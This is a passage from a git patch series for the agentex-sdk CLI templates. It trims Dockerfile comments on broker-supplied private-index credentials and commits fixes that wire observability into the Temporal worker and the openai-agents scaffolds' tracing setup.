injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/sync/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync/Dockerfile.j2 index acc44b89c..d0c204e47 100644 --- a/src/agentex/lib/cli/templates/sync/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync/Dockerfile.j2 @@ -29,15 +29,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 index aeefd592e..1665bceb1 100644 --- a/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 @@ -42,31 +42,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile.j2 index 4a5e4d83a..1297b7bd7 100644 --- a/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile.j2 @@ -41,15 +41,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 index 1f96a64d2..41d83e31c 100644 --- a/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 @@ -42,31 +42,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/temporal-codex/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal-codex/Dockerfile.j2 index c823c7937..d77d8073f 100644 --- a/src/agentex/lib/cli/templates/temporal-codex/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal-codex/Dockerfile.j2 @@ -41,15 +41,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 index 65202d3cd..56b4d949c 100644 --- a/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 @@ -36,31 +36,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile.j2 index cf8f4638c..5bb133a22 100644 --- a/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile.j2 @@ -35,15 +35,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 index bb1a726c5..a674d7d35 100644 --- a/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 @@ -36,31 +36,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile.j2 index 020a87fe2..a9a63757d 100644 --- a/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile.j2 @@ -35,15 +35,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 index bb1a726c5..a674d7d35 100644 --- a/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 @@ -36,31 +36,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile.j2 index 020a87fe2..a9a63757d 100644 --- a/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile.j2 @@ -35,15 +35,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 index bb1a726c5..a674d7d35 100644 --- a/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 @@ -36,31 +36,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/temporal/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal/Dockerfile.j2 index 020a87fe2..a9a63757d 100644 --- a/src/agentex/lib/cli/templates/temporal/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal/Dockerfile.j2 @@ -35,15 +35,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ From 73d2bcfe17816eb304c9dec5836a9c2842cae52a Mon Sep 17 00:00:00 2001 From: Sirui Wang Date: Mon, 14 Sep 2026 10:42:41 -0700 Subject: [PATCH 12/15] fix(obs): wire the Temporal worker, unblock the bridge, bound the drain MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Addresses all three blocking review comments on #518. Each was real and each was a silent failure — the wiring reported success while producing nothing. 1. The Temporal worker was never wired (comment 1) init_sgp_obs() was called only from BaseACPServer.__init__, and a Temporal agent runs its model calls in a separate AgentexWorker process that never constructs one. So an agent that installed sgp-obs and set the whole documented environment still got no metrics, traces or structured logs from the process doing the interesting work. That is the shape compass-sleep-agent has, and it is the one the pilot never covered. AgentexWorker.run() now inits at entry and drains in a finally. No `app=`: there is no ASGI application in that process — the health-check server is aiohttp, which sgp-obs' ASGI middleware does not apply to — so the worker contributes model and egress telemetry but no http.server.*, which is correct since nothing there serves agent traffic. 2. The bridge was installed into a tracing system that was switched off (comment 2) The openai-agents scaffolds call set_tracing_disabled(True). That stops spans being produced at all, so the bridge from the previous commit registered itself and sat idle forever, returning True. Measured against a spy processor: set_tracing_disabled(True) -> processors ['BatchTraceProcessor', 'Spy'], spy saw 0 set_trace_processors([]) -> processors ['Spy'], spy saw 1 Note the first row. Disabling tracing leaves the OpenAI exporter REGISTERED and merely never feeds it; clearing the list actually removes it. So the replacement is strictly better at what the original comment said it wanted — keeping traces away from api.openai.com with what may be a proxy key — while also letting the bridge work. Changed in the 4 openai-agents scaffolds. Existing agents already carry the old line, and a scaffold change cannot reach them, so init_sgp_obs also warns when the bridge is installed while tracing is disabled, naming the one-line fix. Reads a private attribute (`_disabled`), fully guarded: if upstream renames it we stop warning rather than break. 3. The sync-processor drain could eat the whole grace period (comment 3) SGPSyncTracingProcessor.shutdown() calls flush_queue(), a blocking HTTP flush with retries, and the drain awaited it inline with no limit. A slow or unreachable collector would stall the lifespan loop and stop shutdown_sgp_obs() ever running — trading a few business spans for all of the OTel ones. Now each processor runs in a worker thread under a deadline SHARED across all of them, so N stalled processors cost one budget, not N. Tested: three processors each blocking 2s complete the drain in under 1s against a 0.25s budget, and a heartbeat task keeps ticking throughout, proving the loop is not blocked. A timed-out flush leaks its thread until the process exits; that is accepted and documented, since this runs only during shutdown and the alternative is blocking on it. The drain moved from base_acp_server to tracing_processor_manager, next to the processors it drains, because both entry points now need it. 117 tests, ruff clean, pyright 0 errors, all with sgp-obs absent. Co-Authored-By: Claude Opus 5 --- .../default-openai-agents/project/acp.py.j2 | 17 ++- .../project/agent.py.j2 | 17 ++- .../sync-openai-agents/project/acp.py.j2 | 19 ++- .../project/workflow.py.j2 | 19 ++- src/agentex/lib/cli/tests/__init__.py | 0 .../lib/cli/tests/test_template_tracing.py | 57 +++++++++ .../lib/core/observability/sgp_obs_setup.py | 32 +++++ .../lib/core/temporal/workers/worker.py | 23 +++- .../core/tracing/tracing_processor_manager.py | 71 +++++++++++ .../lib/sdk/fastacp/base/base_acp_server.py | 37 +----- .../fastacp/base/tests/test_shutdown_hooks.py | 112 ++++++++++++++++-- 11 files changed, 336 insertions(+), 68 deletions(-) create mode 100644 src/agentex/lib/cli/tests/__init__.py create mode 100644 src/agentex/lib/cli/tests/test_template_tracing.py diff --git a/src/agentex/lib/cli/templates/default-openai-agents/project/acp.py.j2 b/src/agentex/lib/cli/templates/default-openai-agents/project/acp.py.j2 index 66ee31243..ad8b6e41d 100644 --- a/src/agentex/lib/cli/templates/default-openai-agents/project/acp.py.j2 +++ b/src/agentex/lib/cli/templates/default-openai-agents/project/acp.py.j2 @@ -20,7 +20,7 @@ from dotenv import load_dotenv load_dotenv() -from agents import Agent, Runner, function_tool, set_tracing_disabled +from agents import Agent, Runner, function_tool, set_trace_processors from agentex.lib import adk from agentex.lib.types.acp import SendEventParams, CancelTaskParams, CreateTaskParams @@ -34,10 +34,17 @@ from agentex.lib.core.harness.emitter import UnifiedEmitter from agentex.lib.adk import OpenAITurn from agentex.lib.core.tracing.tracing_processor_manager import add_tracing_processor_config -# Disable the openai-agents SDK's native tracer so it doesn't ship traces to -# api.openai.com using OPENAI_API_KEY (which may be a LiteLLM proxy key). -# SGP tracing below still runs via the Agentex tracing manager. -set_tracing_disabled(True) +# Drop the openai-agents SDK's own exporter, so it can't ship traces to +# api.openai.com using OPENAI_API_KEY (which may be a gateway/proxy key and would 401). +# +# Clearing the processor list rather than disabling tracing outright: disabling stops +# spans being produced AT ALL, which silently starves any processor added later — +# including the sgp-obs bridge the SDK installs when observability is on, so a Runner +# turn would contribute no model spans. Clearing instead removes the OpenAI exporter +# (which otherwise stays registered and is merely never fed) while leaving the +# machinery alive for the bridge to attach to. +# Agentex/SGP tracing still runs via the tracing manager. +set_trace_processors([]) logger = make_logger(__name__) diff --git a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/project/agent.py.j2 b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/project/agent.py.j2 index 07546bffb..315c5a6ae 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/project/agent.py.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/project/agent.py.j2 @@ -15,7 +15,7 @@ from __future__ import annotations from datetime import datetime -from agents import Runner, set_tracing_disabled +from agents import Runner, set_trace_processors from agents.sandbox import SandboxAgent, SandboxRunConfig from agents.run_config import RunConfig from agents.sandbox.sandboxes.unix_local import ( @@ -25,10 +25,17 @@ from agents.sandbox.sandboxes.unix_local import ( from project.tools import get_capabilities -# Disable the openai-agents SDK's native tracer so it doesn't ship traces to -# api.openai.com using OPENAI_API_KEY (which may be a gateway/proxy key and would -# 401). Agentex tracing still runs via the tracing manager configured in acp.py. -set_tracing_disabled(True) +# Drop the openai-agents SDK's own exporter, so it can't ship traces to +# api.openai.com using OPENAI_API_KEY (which may be a gateway/proxy key and would 401). +# +# Clearing the processor list rather than disabling tracing outright: disabling stops +# spans being produced AT ALL, which silently starves any processor added later — +# including the sgp-obs bridge the SDK installs when observability is on, so a Runner +# turn would contribute no model spans. Clearing instead removes the OpenAI exporter +# (which otherwise stays registered and is merely never fed) while leaving the +# machinery alive for the bridge to attach to. +# Agentex/SGP tracing still runs via the tracing manager. +set_trace_processors([]) MODEL_NAME = "gpt-4o-mini" INSTRUCTIONS = """You are a local sandbox assistant. diff --git 